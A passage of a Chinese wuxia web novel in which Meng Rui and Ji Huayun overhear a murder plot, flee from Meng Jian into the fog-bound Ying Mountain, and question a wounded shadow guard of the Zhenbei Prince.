“我有预感,只要跟上去,我们可以解开孟简的秘密,万一被发现,我挡住,你先跑,这总够意思了吧?快走快走!”
她没再给孟蕊犹豫的机会,抓着孟蕊的胳膊,就疾步往前追。
孟蕊只觉得纪华筠抓着她的手,像铁铸般坚硬,她根本挣脱不开。
而且,纪华筠几乎是提着孟蕊在往前跑,孟蕊感觉自己的双脚只偶尔着地,根本不由自己做主。
不多时,纪华筠带着孟蕊,停在了一处偏僻的小院外。
她们刚刚亲眼目睹,孟简敲开了院门,走了进去。
而来开门的人,孟蕊认识,是见过数面的……姜瑶的丫鬟。
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第217章 再遇姜瑶
孟蕊很确定,她看到的,就是姜瑶的丫鬟。
第一次见到这个丫鬟,是在京城贡院门口。
当时来找她麻烦的姜瑶,身边只带了这一个丫鬟,因其容貌美丽,给孟蕊留下了印象。
隔天,孟瑾就将这个丫鬟的来路查了出来。
青黛,三皇子身边的人,姜瑶回归安乐侯府后,三皇子把青黛送给姜瑶当丫鬟使唤,很得姜瑶看重。
姜瑶离开京城后,很可能带着丫鬟青黛一起来了孟家堡。
那么,孟简要见的人,其实就是姜瑶?
纪华筠拉着孟蕊,蹲在小院门口,将耳朵贴在门上,细细听里边的动静,却在一道屋门关上的响声后,什么声音都没有了。
“他们进屋去了。”
纪华筠小声对孟蕊嘀咕。
“这里什么都听不到,咱们得翻墙进去。”
“等一下。”孟蕊抓住要起身的纪华筠,“你先听我说完。”
纪华筠是个局外人,她没必要牵扯进这些麻烦事里来,孟蕊要和她说清楚利害关系。
“那个开门的丫鬟,我在京城见过,她叫青黛,以前是三皇子身边的人,自从姜瑶认亲安乐侯府后,她就跟在姜瑶身边伺候。”
孟蕊附在纪华筠耳边,低声说。
“姜瑶与我不对付,之前,我娘亲与她断绝了母女关系,她恨毒了我们,如果她也在这里,很可能是要联合孟家堡的人,报复我和我娘亲。”
“还有这种事?”纪华筠眼睛一亮,更兴奋了,“姜瑶的报复心这么重,活该孟天女侠看不上她。”
纪华筠说着,又要站起来。
孟蕊拉不住她,只能跟着站起,拦在她面前。
“你现在知道了,就要想好,要不要继续深入这件事?搞不好,会涉及党争夺嫡,牵连到你家……”
“放心,三皇子嘛……”纪华筠对孟蕊俏皮地眨了下眼,“我爹从未考虑过,你等我先上去看看。”
纪华筠推开孟蕊,轻巧地攀上了院墙,露头往里瞧。
孟蕊无奈地看着墙上的纪华筠,思索着纪华筠刚才那句话,纪华筠身后的永宁侯府,是手握军功的百年世家,政治嗅觉灵敏。
纪华筠的父亲永宁侯,从未考虑过三皇子,是因为看不上吴家的市井出身,还是知道什么秘密消息,不看好三皇子?
这时,纪华筠已经从墙上跳回孟蕊身侧。
“人都进屋了,院子里没人,咱们可以翻进去。”
纪华筠说完,也不等孟蕊同意,直接搂住孟蕊的细腰,使用轻功,飞进了院墙。
孟蕊:“……”来都来了,那就去听听,孟简和姜瑶究竟在勾结什么阴谋。
落地后,孟蕊环视周围,发现这个院子不大,不过三米见方,院中只有一个石桌和三四个石凳,上面都落了一层灰,可见这是个许久没有人打理的荒废院落。
院子里只有一间屋子,屋内亮着烛火,有摇摇晃晃的人影映照在窗上,隐隐约约可以听到里面人讲话的声音。
纪华筠对孟蕊招了招手,孟蕊放轻了脚步跟上,和纪华筠一起蹲在屋子的窗沿下,张着耳朵,听里面的动静。
“这和说好的不一样。”
是孟简低沉的男声。
“我儿子为什么会出事?和你们有没有关系?”
一道高傲的女声响起,“孟二爷,我们说好的事,望你不要曲解。”
这声音太过熟悉,孟蕊听第一句就能确定,这就是姜瑶!
她甚至能想象出姜瑶说这话时的神态,一定是高高在上又神气十足的。
接下来,是孟简隐含着怒气的声音。
“是,我们说好的,我帮你们引来孟天,你们帮我坐上堡主之位,但现在是怎么回事?我儿子为什么也会被杀?”
姜瑶淡定回应,“会不会是你之前做得不干净,被孟繁发现了端倪,他报复你,所以对你儿子下手?”
“不可能!”孟简一口否认,“孟繁是个只知睡在脂粉堆里的废物,他没那个本事,是不是你们……谁在外面?”
孟蕊和纪华筠同时一惊,她们已尽量屏住气息,停止所有动作,居然这么快就被发现了?
“快走!”
纪华筠拉起孟蕊的手,疾速向院墙跑去。
孟简撞门而出,对着孟蕊和纪华筠的方向,隔空拍出一掌。
为躲避掌风,孟蕊和纪华筠不得不松开手,一人躲向一边。
“你们是什么人?”孟简厉声问。
眼前两人穿着孟家堡的护卫服,却用黑巾蒙面,不知是哪里的探子,混进了他孟家堡来,而且还偷听他的秘密谈话,孟简杀心已起。
孟蕊和纪华筠对视一眼,没有人回答孟简。
她们为了躲避攻击,离院墙更远了,现在直接逃跑,怕是都跑不掉。
“你先走,我断后!”
纪华筠用古怪的男声,冲着孟蕊大喊,拔出腰间的护卫佩刀,就向着孟简冲去。
孟蕊没有犹豫,转身跑向院墙。
她自知武功不高,定然不是孟简的对手,爹爹说过,纪华筠武功不错,又天赋力气大,说不定能打过孟简?她不能留在这里给纪华筠拖后腿。
听着身后的打斗声,孟蕊快速爬上了院墙,她骑在墙头,忍不住回头望。
姜瑶和青黛躲在屋里,没有出来,小院中只有缠斗在一起的纪华筠和孟简。
纪华筠一柄长刀使得熟练,如银龙破空,寒光乍现,孟简手中没有武器,只凭掌法对招,却占得优势,逼得纪华筠一步步后退。
刀光掌影间,纪华筠突然弃守为攻,双手握刀举过头顶,破空劈下一刀,凌厉的刀风逼得孟简后退,反身避开。
“铿!”
刀锋劈砍在院中石板路上,震碎石板,碎石飞溅。
果然好大的力气!孟蕊在心中赞叹。
纪华筠收回刀,挑衅地挑了挑眉,忽然,她双眼一横,再次发起攻势,刀势变劈为削,刀锋冲着孟简咽喉横抹而去。
孟简只来得及斜滑半步,右掌一翻,使出一掌,拍向刀面,震得刀面颤抖,连带纪华筠握刀的手腕也传来痛感。
纪华筠直接丢了刀,向后撤退,堪堪避过孟简左手打来的一掌。
孟蕊眼见纪华筠应对吃力,她不能放任不管,于是,对准孟简的喉咙,接连掷出两枚飞刀……
第218章 死里逃生
孟简猛地侧身,依然能感觉到冰冷的刀锋,擦着耳边呼啸而过。
他正要再度拍出一掌时,又见第二把飞刀冲着他的面门而来,让他不得不撤回对纪华筠的攻击,向后躲避。
“小贼,竟敢偷袭!”
孟简对着墙头的孟蕊怒吼。
“是不是你们杀了我儿?”
他浑身贲发着杀意,蓄势隔空推出一掌。
孟蕊对纪华筠喊了声“快跑!”,自己迅速跨过腿,滑下墙头,在跳下院墙之前的一瞬间,孟蕊看到纪华筠双手举起了院中的石桌,对着孟简砸去。
“砰!”
孟简使出的混元裂空掌,打在了积满灰尘的厚重石桌上,石桌应声碎裂,裂开的小石块在掌风的冲力下四散飞溅,扬起一阵灰尘。
纪华筠趁着孟简被灰尘迷了眼,快步飞身翻越院墙,与院外等她的孟蕊汇合。
“快走!”
孟蕊和纪华筠都意识到事情的严重性,迈开腿,以尽可能快的速度奔跑起来。
孟简和姜瑶说的那寥寥几句话,已经可以证实,孟简就是杀害孟子俊和孟子仁的凶手!
而孟蕊和纪华筠,听到了孟简的亲口承认,孟简为了保密,定然要杀了她们灭口。
孟蕊一边跑,一边回头看了一眼身后,霎时一颗心提到了嗓子眼。
孟简已经翻过院墙,使用轻功,在后面追她们来了!
“不行,我们得再快些!”
孟蕊使出刚学会不久的轻功,和奔跑结合,提高了速度。
纪华筠习武多年,轻功比孟蕊要好上许多,她抓住孟蕊的胳膊,带着孟蕊往前跑,比孟蕊一人跑得快。
但孟简的轻功,比她们多十几年功力,速度更快,要追上她们,只是时间的问题。
“你别管我,放开我,你先走!”
孟蕊拍了拍纪华筠抓着她胳膊的手。
“这样下去,谁都走不掉。”
“不行,是我说要追上去看的,现在被发现,怎么能出卖你?太没江湖道义了!我不干!”
纪华筠大义凛然地拒绝了孟蕊的提议,抓着她再次加快速度。
“我们现在跑去客院,找你爹救命!应该有机会。”
“来不及了!”
孟蕊拼命跟上纪华筠的脚步,头脑却在此刻异常冷静。
“此处离客院太远,在途中就会被他抓住,而且客院那么大,就算到了那里,我们也来不及找我爹在哪间房,若要活命,咱们只能靠自己赌一把。”
“赌什么?”纪华筠问。
孟蕊指着前方路口。
“前面左转,我们进影山!”
从京城到孟家堡的一路上,孟蕊都在为进入孟家堡做准备,她背下了爹爹给的孟家堡最新舆图,以及娘亲绘制的影山地形图,就是为了进入孟家堡之后,应对不时之需。
现在,刚好用上。
她们现在所在的位置,位于整个孟家堡偏东北的角落,距离影山山门入口,只有百十米。
夜晚的影山迷雾浓重,方便她们躲藏,孟蕊更是在赌,孟简不敢再夜晚进入影山。
“影山?好好好!咱们就去影山!”
纪华筠不但不害怕,还激动起来。
“那个杀人凶手傍晚都不敢进影山,现在天还没亮,他肯定不敢追过来。”
山中天险,说不定可以想办法克服,但身后追杀她们的这个人,纪华筠已经确定自己打不过。
两害相权取其轻,纪华筠知道该怎么选。
孟蕊和纪华筠达成一致,一起左转,又跑了十来米,就看到山门处看守的护卫。
“快跑啊!杀害两位少爷的凶手,追过来了!”
孟蕊一边跑,一边用男声对着护卫们大喊。
山门处看守的几个孟家堡护卫,看到孟蕊和纪华筠穿着和他们相同的护卫服,面上却戴着黑巾,一时间愣愣看着,有些摸不清头脑。
领头的护卫,皱眉对着她们问:“你们是何人?摘下脸上的黑巾!”
“我们是大爷院里的护卫,二爷孟简,是杀了大少爷和三少爷的凶手!”
孟蕊在即将跑到山门处时,放出一记惊雷,震得几个护卫都呆住了。
而在她们身后十几米后,孟简也已经赶到,对着山门处的护卫大声下令:
“给我抓住他们!格杀勿论!”
孟蕊放声大叫:“孟简是杀人凶手,他要杀人灭口啦!”
趁着护卫们呆愣的片刻,孟蕊和纪华筠冲过山门,开始向上爬台阶。
“没听到我的命令吗?快抓住他们!”孟简赶到山门处,对着护卫们怒喝。
护卫们这时才反应过来,顺着台阶,去追孟蕊和纪华筠。
“凭你们,也想抓我?”
纪华筠松开孟蕊,转身对着追上来的侍卫一人一脚,把他们都踹飞回了山门。
她打不过孟简,但这几个小喽啰,才不是她的对手。
纪华筠拍了拍手,望向山门处站定的孟简。
孟简面色黑沉,眼含杀意地盯着她们,却没有要追上山的意思。
“孟简,你不是要追杀我们吗?怎么不追了?”
纪华筠高高站在山路的台阶上,挑衅地指向孟简。
“你来打我呀!来追我呀!怎么不敢来了?你怕了吗?”
已经爬到更高处的孟蕊,回头看向正在出言挑衅的纪华筠,和山门处站着不动的孟简。
孟简这都能忍?看来他是真的不敢在夜晚上影山。
但孟蕊不怕,因为娘亲告诉过她,影山是孟家的根,孟家诞生于影山,孟家堡的绝学来源于影山。
孟家堡初代堡主在影山悟出混元裂空掌,娘亲被废去武功后,也是在影山重拾信心,重铸筋骨,淬炼出坚强的内心。
如果孟堡主没有和娘亲断绝父女关系,如果孟蕊出生时没有被抱错,也许孟蕊也会在孟家堡长大,从小在影山上练功,成为娘亲那样的江湖侠女。
孟蕊望向拾级而上的台阶,迷雾重重,看不清前路,但她心中有影山,知道该怎样走。
“别和他废话?你还上不上山?”
孟蕊催促纪华筠,她别真把孟简刺激得上山来追杀她们。
“再不来,我先走了。”
“马上就来!”
纪华筠对着孟简冷哼一声,转头跟上孟蕊的步伐。
山门处的孟简,脚步未动,只冷眼看着她们爬上山,逐渐消失在浓雾中的背影,恶狠狠地吐出一句:
“自寻死路!”
第219章 逃入影山
孟蕊和纪华筠,沿着上山的台阶,快步向上爬。
直到爬到腿软,实在没有力气时,孟蕊才停下,在路边的一块大青石上坐下,稍作休息。
纪华筠跟着孟蕊身边坐下,兴致勃勃地问:
“我们要爬到山顶吗?那里就是孟道原悟出武功绝学的地方?我到达那里,是不是也有可能悟出一套纪氏大力掌?”
孟蕊微喘着气,警惕地注视着山下的方向,那里只见白茫茫的浓雾,未听见脚步声,天亮之前,孟简应该不会带人追上来。
耳边,纪华筠还在滔滔不绝地说着上山后要做的事。
“悟不出武功绝学也没关系,反正我是一定要去山顶看看的。
对了,你说这山里有没有埋藏什么绝世珍宝,或是武功秘籍?
咱们要是幸运地挖到宝藏,下山就是天下首富。
要是捡到一本绝世神功,学成绝世武功下山,往后是不是可以称霸武林了?”
孟蕊呼出一口气,看着喋喋不休的纪华筠,觉得她聒噪得很。
“纪小姐,以前在京城时,我竟不知,你性子如此……额,活泼?”
孟蕊想说跳脱,犹豫之下,选了个缓和一点的词,当是委婉提醒。
没想到,这一句话,更引得纪华筠说个不停。
“孟蕊,咱们今晚一起虎口逃生,也算是同生共死过,别再叫‘纪小姐’这么生疏的称呼。”
纪华筠长臂一伸,搭上孟蕊的肩,一副姐两好的架势。
“你这人能处,我交你这个朋友,我比你年长一岁,你叫我阿姊,我唤你蕊儿如何?”
孟蕊扯了扯嘴角,斜眼看向笑呵呵的纪华筠。
“纪小姐胆大如斗,功夫了得,而我只有一条命,不敢交你这样的朋友。”
今晚若不是她急中生智,想到可以往影山里躲,被孟简抓到,逃不过一个死!
关键是,孟蕊都明确表示不去跟踪孟简了,纪华筠非要去,她自己去就算了,还强制拽着孟蕊一起去。
现在回想当时的情形,孟蕊都感到后怕。
“哎呀,蕊儿,别这么小气嘛。”
纪华筠在孟蕊肩上蹭了蹭,声音软绵绵地撒娇。
“咱们现在不是平安无事,还听到了杀人凶手是孟简,再说,要不是我带你跟过去,你都不知道,你的死对头姜瑶,也来了孟家堡不是?”
“我宁愿自己不知道,也不想被追杀!”孟蕊没好气地说。
她死过一次,格外珍惜自由活着的机会。
孟简是杀人凶手也好,姜瑶来孟家堡的消息也罢,虽然都重要,但与孟蕊自己的性命相比,毫无疑问,是保命最要紧!
明知危险,还往前冲,不是孟蕊的行事风格。
而纪华筠,会武功,有胆识,对江湖中的一切充满好奇心,却偏偏带着一股不谙江湖事的懵懂,什么都想知道,什么都想尝试,是会出问题的。
“纪小姐,孟家堡这些乌七八糟的事,应该能让你看明白,江湖,远没有你想象的那般美好。”
孟蕊表情严肃,一字一句地对纪华筠说。
“天亮后,孟简一定会带人追杀上来,我们要生存下去,必须十二分小心。
你不能再抱着玩乐的心态,拿出你在京城筹谋了断罗杰裕性命的态度来。
做好准备,我们和孟简,只有一方能活。”
纪华筠逐渐收敛了笑容,她知道,孟蕊没有危言耸听。
她们知道了孟简的秘密,孟简带人上来,就是冲着要她们的命来的,而她们在影山上的消息,谢清源和天源阁的侍卫都不知道。
之后,她们很可能处在孤立无援的状态,只有靠自己活下去,再想办法见到谢清源。
“对不起,之前是我鲁莽了。”
纪华筠郑重向孟蕊道歉,并做出保证。
“从这一刻起,我会谨言慎行,遇到事情,尽量听取你的意见。”
得到纪华筠的承诺,孟蕊心下稍安,“不是让你什么都要听我的,只是因为我对影山的情况,比你更了解,跟着我走,活着回去的可能更大。”
“嗯,我知道了。”
纪华筠答应着,不自觉打了个哈欠。
她拍了拍脑门,不好意思道:“大概是跑累了,觉得头晕晕的,要不咱们找个地方睡一会补个觉?”
“你不是累了,是这影山晚上的雾气有问题。”
孟蕊淡定地从怀中掏出荷包,拿出一个青色的小瓷瓶,从瓷瓶中倒出一粒黑色药丸,送到纪华筠手边。
“快把药丸含入口中,一会儿就好。”
纪华筠信任地拿起药丸,放入口中,听到孟蕊继续说:
“影山上的雾影草,夜间会释放轻微毒素,能致人麻痹、昏睡,严重的还会一睡不起,这药是我娘亲给我的,可以解雾气里的毒。”
纪华筠不解地问:“所以影山夜晚的危险,主要来源于山中陡峭的地势,和会让人麻痹昏睡的雾影草?孟家堡的人吃了解药,点着火把,拿着地图,不就能上山?为何孟简宁愿放过我们都不追来?”
“当然不止于此。”
孟蕊缓和了神情,耐心地对她解释。
“孟家堡创立于百年之前,经历过前朝末年战乱时期。
最早的孟家堡,建于影山之上,孟家堡的人,几乎都生活在影山之中。
为了防备外敌入侵,孟家之前的好几代人,不仅在影山建了居住的房屋,还建有防御工事,包括一些至今没有拆除的机关和陷阱。
后来,随着慕名来拜师的弟子越来越多,孟家堡开始扩建山脚下的区域。
到我曾外祖父时,逐渐建起了现在山下孟家堡的雏形,后来孟堡主不断扩建,才形成了现在孟家堡的样子。”
纪华筠听得津津有味,恍然大悟道:
“这么说来,以前居住在影山中的孟家人,设置的机关陷阱都还在,而且数量不少?
孟简不敢追上来,除了害怕悬崖峭壁和有毒雾气,还怕这些机关陷阱?”
纪华筠想通了这些,不禁担心地问。
“不对呀,能让武功厉害的孟简忌惮的东西,肯定不好对付,要是咱们遇上了,该怎么办?”
第220章 第三个人
“所以说,我们要格外谨慎才行啊!”
孟蕊站起身,拍了拍腿上的灰。
“快五更天了,再过一个多时辰,天就要亮了,我们得赶紧往山上走。”
纪华筠跟着站起来,忧虑道:“那些以前的机关陷阱,会不会要人命啊?”
“你终于知道害怕了?”
孟蕊嘴角噙着笑,回首望她。
“不用太担心,我娘亲告诉过我如何识别那些机关陷阱,你乖乖跟着我,别乱跑,我保证把你安全带下山。”
孟蕊没告诉纪华筠的是,她已经背下了影山的地形,和山中各处机关陷阱的位置,都是她娘亲孟天小时候,在影山中亲身验证并绘制成图的。
据说孟家堡最早也曾也有一份类似的机关图,但早些年丢失不见,所以近十几年来,很少有孟家堡的人敢独自上影山,更别说在浓雾弥漫的晚上进山了。
孟蕊和纪华筠,继续沿着阶梯向山上爬。
“其实上影山的路,不止这一条,还有几条隐秘的小路。”
孟蕊一边走,一边告诉纪华筠之后的计划。
“其中有通向孟家堡外的路,咱们从那里下去,绕道去找我爹,或是驻扎在堡外的侍卫也行,尽量保存实力,避免和孟简的人撞上。”
能避开的冲突和危险,孟蕊不想迎头往上碰,她们今晚已经消耗了许多体力,能坚持到顺利下山,和谢清源他们汇合,就是胜利,最好不要再和人打斗。
纪华筠没有意见,乖巧地跟着孟蕊爬山。
在孟蕊的带领下,她们成功避开了路上的几个机关陷阱,纪华筠因此更信赖孟蕊,孟蕊让她往哪儿走,她就往哪儿走。
天蒙蒙亮时,她们终于爬到了山腰处。
“咦?那边怎么有那么大一块平地?”纪华筠指向山路右侧。
从山路主路,分出一条分岔而出的青石板小路,向外延伸,直到隐约可见一片宽阔平台。
纪华筠刚迈出腿,又顿住动作,侧头先问孟蕊:
“我们能过去看看吗?天亮了,那边说不定可以看到山下的情况。”
孟蕊点点头,“你跟在我后面走。”
她们沿着青石板小路,小心翼翼地走了过去。
一面是陡峭的岩壁,另一面是看不到底的悬崖,中间这块五丈见宽的平地,仿佛从山岩中切削出来一般,地面平整坚硬,还铺设有石板。
“这里好适合练武哦!”
纪华筠跺了跺脚,很满意地面的触感,顺势打了几招拳法,觉得自己在云雾缭绕中习武,仿若修仙一般。
孟蕊环视一圈,想了起来,“你说的没错,这里应该就是以前孟家堡弟子,早晨集合习武的地方,你看崖边,还有人为修建的石栏杆。”
孟蕊和纪华筠走到石栏杆前,仔细看去,这些石栏杆饱经风霜侵蚀,已经看不清原本的样貌,但依然坚守在崖边,护卫行路人安全。
从崖边向山下眺望,入眼的依然是白茫茫的浓雾,和白雾之后的树影。
“天还没有大亮,他们应该还没有追上山。”孟蕊不确定地说。
“就算来了,也没那么快追上我们。”
纪华筠随口回应着,注意力已经转移到身后平台另一边的陡峭岩壁上。
“你看那儿,岩壁上好像有个门欸?”
孟蕊顺着纪华筠的目光看过去,果然看到青灰的岩壁上,似有一道石门。
走近后,孟蕊认真观察这道嵌在陡峭岩壁上的石门,石面布满风蚀的沟壑,缝隙间爬满暗绿的苔藓,门上似乎还曾刻有字符,但已被岁月磨得浅淡,分辨不出。
“门里面,会不会藏着武功秘籍?”纪华筠兴奋地搓手。
孟蕊连忙伸出手,挡住她想要上前的脚步,“别过去,我不记得这里有机关。”
奇怪,娘亲给她看的影山地形机关图上,没有标注这个位置啊。
“会不会这里没有机关?”纪华筠猜测道,“里面是住人,或是存放武器的地方?”
“不知道,但我们最好不要动它。”
孟蕊转过身,挡住纪华筠还在看石门的视线。
“这里也看好了,咱们继续上路吧。”
纪华筠依依不舍地收回目光,“好好好,都听你的。”
两人肩并肩,一起从来时的青石板小路返回。
“快走……”
一道虚弱沙哑的男声传来。
孟蕊和纪华筠的脚步,同时一顿。
“你用男声说话了吗?”孟蕊脸色微变。
纪华筠摇头,“没有啊,我还以为是你在催我。”
“王……别去……”
又是那道男声,让孟蕊和纪华筠确定,在这附近,除了她们俩,还有第三个人!
“是刚刚石门的方向,传来的声音。”
纪华筠凭借耳力,确定了声音来源,惊悚地看向孟蕊。
“该不会是石门成精,在和我们说话?我们难道是天选之人?”
孟蕊手中握着飞刀,斜眼睨了纪华筠一眼,“你现在最重要的,是戒掉所有武侠、修仙的话本子!”
“话本子那么好看,为什么要戒掉?”
纪华筠不情愿地哼哼,一步当先,走在前头。
“我倒要来看看,到底是谁,在装神弄鬼?”
她们又回到了峭壁的石门前,搜索过后,在石门左侧茂盛的杂草从中,找到了一名黑衣蒙面人。
孟蕊心中一颤,此人会不会是昨晚闯入她房中的那个黑衣人?
但在扒下黑衣人面上黑巾后,却看到一张完全陌生的年轻男子的脸。
“这人一身夜行衣,装备倒是比我们齐全。”
纪华筠眼含羡慕,抓着男子的一条腿,轻而易举地把他拖出了杂草丛,平放在空地上,开始在男子身上翻找东西。
“匕首一把,暗器数枚,一包干粮,两瓶伤药,还有一张地图……”
纪华筠把搜到的东西一一摆在地上,拿着地图仔细看起来。
“这是孟家堡的地图,上面标注了上影山的路,还有主院的位置,是要去偷东西?”
孟蕊走过去,和纪华筠一起看向地图,“是孟家堡最新的地图,这人来历不简单。”
她又扫了一眼纪华筠搜出来的东西,没什么特别,只是装伤药的小瓷瓶,倒有几分眼熟。
孟蕊仔细端详男子的脸,越看越觉得古怪。
她伸手摸向男子的脖颈间,眼睛一亮,“有了!”
“撕拉——!”
孟蕊手下用力,一下扯掉了男子脸上的人皮面具,露出一张认识的脸。
“竟然是他?”
第221章 可疑的信
“你认识此人?他是谁?”
纪华筠翻找东西的手一顿,期待地看向孟蕊。
孟蕊盯着男子的脸,再次确认后,没有回答纪华筠,而是默不作声地去解男子的衣服。
“哎呀,你干嘛脱他衣服?多难为情啊!”
纪华筠故作惊奇地叫嚷着,双眼越睁越大,紧紧盯着孟蕊的动作,见孟蕊动作慢,直接上手帮忙解衣。
男子五官端正,身材健壮,此时半昏迷着,嘴里虚弱地说着什么快跑、快逃的话。
在纪华筠的大力拉扯下,男子的上衣很快脱去,露出结实的肌肉,以及胸口乌黑的掌印。
“他果然受伤了,挨了一掌。”
纪华筠研究着男子胸口的掌印,忽然激动道。
“是混元裂空掌!和孟子俊身上的那个掌印很像,不过这个掌印颜色更深!”
纪华筠看向孟蕊,却发现孟蕊的目光,不在男子的胸口掌印,而是一直落在男子手臂上的文身处。
“那是……一只鸟?”纪华筠探过头去,看着文身问。
孟蕊面色沉沉,这个文身进一步说明,她没有认错。
“是鸿雁,厉青鸿身边的暗卫,都会在身上纹这个图案。”
而眼前昏迷的这个男子,孟蕊前世见过,是经常跟在厉青鸿身边的暗卫夜泽。
孟蕊记得,夜泽的武功,在厉青鸿的暗卫中排前列,能把夜泽伤成这样,对方定是武功高手。
还是会用混元裂空掌的高手……已经不难猜了。
“厉青鸿?镇北王厉青鸿?”纪华筠诧异不已,“他派暗卫来孟家堡做什么?”
“不知道,但这个暗卫自己知道。”
孟蕊拿过暗卫夜泽的手腕,手指探上他的脉搏。
“他身体底子好,受的伤不至于让他昏倒,是中了山里雾气的毒,才昏迷呓语。”
孟蕊在京城,跟着李管家学过诊脉,基础的伤病她能大概诊断出来。
确定了情况,孟蕊垂眸思索了片刻,抬眼对纪华筠说:
“我有办法让他自己说,待会儿你要配合我。”
孟蕊拿出昨晚用过的黑巾,给自己蒙面,让纪华筠也戴上。
然后,她用暗卫夜泽带的伤药,敷在夜泽的伤处,又从自己的小瓷瓶中,拿出一颗克制影山雾气的解药,放入夜泽口中。
一刻钟后,夜泽逐渐转醒,皱了皱眉头,即将睁开眼。
孟蕊对纪华筠使了个眼色,伸手拍了拍夜泽的肩膀,用低沉的男声喊:
“夜泽,快醒醒!你怎么一个人在这里,主上呢?”
“主上……”
这个词似乎刺激了夜泽,他挣扎着醒过来,双眼迷蒙中,看到黑巾蒙面的孟蕊和纪华筠。
“你们……你们是谁?”
孟蕊拍了下夜泽的脸,不耐烦道:
“你小子睡迷糊了?我是夜寒,主上让我来接应你们,我问你,主上去哪儿了?”
“主上……对,主上和我一起进了山……”
夜泽摸着自己昏沉的头,顺着孟蕊的问话,迷迷糊糊地说。
“我们遭遇袭击,主上让我先走,一定要找到那样东西。”
找东西?孟蕊眼神一凛,厉青鸿来孟家堡,能找什么东西?
夜泽快要清醒了,直接问是什么,他肯定会觉察可疑,那么只有……
“你不用找了,我刚才已经在崖边的木屋里找到了,我们赶紧去找主上复命。”
孟蕊学着夜寒的语气,对夜泽说。
除了夜泽,前世孟蕊最常在厉青鸿身边见到的暗卫,就是夜寒了,她不知道夜寒有没有来,但现在只有试试看。
夜泽一听,激动得一下子坐了起来,“你找到厉老将军的信了?”
这一动作,将夜泽和孟蕊之间的距离拉近,四目相对间,夜泽看清了孟蕊的双眼。
“不对,你不是夜寒,你是谁?”
夜泽意识到对面之人不是同伴,抬手就要攻击孟蕊。
纪华筠出手比他更快,直接点了他身上几处大穴,让他不能动弹。
“唰!”
纪华筠拔出夜泽的匕首,横在夜泽的颈间,威胁道:
“说,你在找厉老将军的什么信?老实告诉我,否则杀了你!”
夜泽不屑地瞥了她一眼,不再言语,一副视死如归的态度。
“不必白费力气,他对厉青鸿忠心耿耿,死都不会再说了。”
孟蕊站起身,望向天边已经露头的太阳。
“已经到卯时了吗?天就要大亮,我们不能再耽搁,得立刻赶路!”
“那他怎么办?”纪华筠的匕首还指着夜泽。
孟蕊利落的一个手刀,将夜泽打晕。
“把他带去山路上放着,或许能帮我们抵挡一阵孟简的人。”
前世,暗卫夜泽没少帮着厉青鸿助纣为虐,孟蕊对他没什么好印象。
今日,她用解药救了他一命,让他还她一次,很公平,是生是死,端看他自己的造化。
如果孟简带着护卫追她们,必经山路,到时这个穿着夜行衣的暗卫夜泽,定会起疑心,两边打起来,可以帮她们拖延时间。
纪华筠没有异议,对这个来孟家堡偷东西的镇北王府暗卫无感,将手中匕首收起,拎起夜泽,跟着孟蕊返回山路,把夜泽丢在路上。
孟蕊和纪华筠继续赶路。
走了一段路后,纪华筠忍不住问:
“蕊儿,你怎么知道镇北王另外一个暗卫叫夜寒?”
孟蕊说出早已想好的回答:
“我在镇北王府住过一段时日,听青城郡主提起过。”
纪华筠觉得合理,边走边与孟蕊讨论。
“厉老将军,是镇北王的祖父,你说镇北王为什么会来孟家堡,找他祖父的信啊?”
“不知道,我只和青城郡主有点交情,与镇北王不熟。”
孟蕊蹙着眉,加快脚步往前走。
孟蕊只知道,厉老将军和孟老堡主是多年至交,他们不但通信,活着时还常有往来,但孟蕊不知道,厉青鸿找厉老将军的信,要做什么?
纪华筠跟上孟蕊的步伐,“说到镇北王,他居然亲自来了孟家堡,没露一点风声,他该不会是私自出京吧?我们好像又知道了一个要命的秘密。”
她做出唉声叹气的样子,眸中却闪动着兴味的光。
孟蕊专注赶路,没有回应她,纪华筠觉得无趣,也不再说话。
两人行了小半个时辰,来到了一片茂密树林的入口。
此时天光已然大亮,孟简如果要来追杀她们灭口,或是进山寻找余大钟的行迹,此时定然已经出发。
孟蕊看着幽深阴暗的树林,根据地图,穿过这片树林,就能进入下山的小路。
正当她们要踏入树林时,听到林中传来打斗声……
第226章 清理门户?
孟蕊说完,感到自己的心,紧张得怦怦直跳。
她虽怀疑过孟剑雨与孟子仁、孟子俊的死有关,但作为祖父的孟剑雨,默许儿子孟简,杀害两个亲孙子的行为,实在太过匪夷所思,非人伦常理所能解释。
而现在,孟剑雨明显对她们没有杀意,孟蕊和纪华筠最大的敌人,是来追杀她们的孟简。
孟蕊觉得,可以尝试挑拨孟剑雨和孟简的关系,若能成功,她和纪华筠就能脱困。
若是不能,她也能从孟剑雨的回应中,得知更多消息。
“姜瑶和孟简勾结,杀了我的两个孙子?”
孟剑雨重复着孟蕊的话,嘴角勾起,苍老的脸上浮现怪异的笑。
“你怎么知道?”
“当然是我们亲耳听到他承认了!”
纪华筠抢过孟蕊的话,大喇喇道。
“孟简和姜瑶深夜密会,商议杀了孟子仁和孟子俊的事,被我们刚好听到,所以他现在带人搜山要追杀我们。
孟堡主,您是江湖大侠,不能放过残杀您孙子的凶手啊!”
“哦,原来他们是来搜捕你们的。”孟剑雨脸上的笑更显怪异。
孟蕊观察着他的反应,暗觉不妙。
知道自己亲孙子被亲儿子杀了,正常人都会表现出伤心或是愤怒的情绪。
但孟剑雨,在两次听到这个消息时,反而显露出期待和恶意,这绝不是一个正常的祖父和父亲该有的神态。
孟蕊拉住还想说话的纪华筠,向木屋门口的方向后退两步,警惕地盯着孟剑雨。
“是您指使孟简,杀了孟子仁和孟子俊?”
“什么!”纪华筠大惊,指着孟剑雨话都说不清了,“他、他和孟简是一伙的,那我们……”
“放心,老夫对杀你们没有兴趣。”
孟剑雨目露轻视,瞥了眼退到门边的孟蕊和纪华筠,兀自向着窗边走近。
“刚才还夸你聪明,现在怎么又变傻了?哎……”
孟蕊和纪华筠均是惊疑不定,她们又往门口退去,思忖着开门出去逃跑是否可行时,被孟剑雨无情打断。
“别想着逃跑,老夫不允,你们跑不掉!”
孟蕊和纪华筠的脚步顿住,两人贴着墙壁,回看说话的孟剑雨。
“您究竟想要做什么?”
孟蕊索性站定,直接问道。
“这木屋门上有机关,您是察觉到我们进了这处木屋,追着我们过来的吧?”
否则,哪会有那么巧的事?
孟蕊是随机选了离得最近的一处木屋躲避,她和纪华筠才进来没多久,孟剑雨就跟着进来,而已知木屋有机关,那么身为堡主的孟剑雨,完全可以通过机关观察她们的行迹,进而追踪过来。
“唉,你这丫头,总是冤枉老夫。”
孟剑雨背着手,站在窗边,目光悠远,向外眺望,语气轻松道。
